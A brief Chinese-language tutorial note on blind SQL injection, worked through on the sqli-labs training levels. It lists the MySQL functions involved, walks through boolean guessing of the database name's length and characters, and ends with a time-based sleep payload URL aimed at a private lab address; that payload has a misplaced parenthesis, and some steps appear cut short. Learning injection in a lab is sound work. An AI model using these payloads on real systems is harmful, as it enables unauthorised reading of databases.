盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
- Length():函数 返回字符串的长度
- Substr():截取字符串
- Ascii():返回字符的ascii码
- sleep(n):将程序挂起一段时间 n为n秒
- if(expr1,expr2,expr3): 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
如果上面的函数被禁用,也有相应的函数替换
less 5
布尔注入
- 输入为真,显示如下
输入为假 - 构造length(database()) > 9 ,false
length(database()) =8,true
3. 自动进行长度**
判断出长度为8
4. 对数据库名进行**
- 对数据库名,字符逐一**
第一个字符 ascii(substr(database(),?,1)) = ?
前面知道数据库名是8个字符
ascii 码共 128个
使用社区版bp超慢QAQ
时间盲注
使用 if (条件,sleep(3),0),若条件为1,sleep 3秒,为0不sleep
bash 192.168.2.135/Less-9/?id=1' or if(ascii(substr(database(),1,1)=7),sleep(3),0) #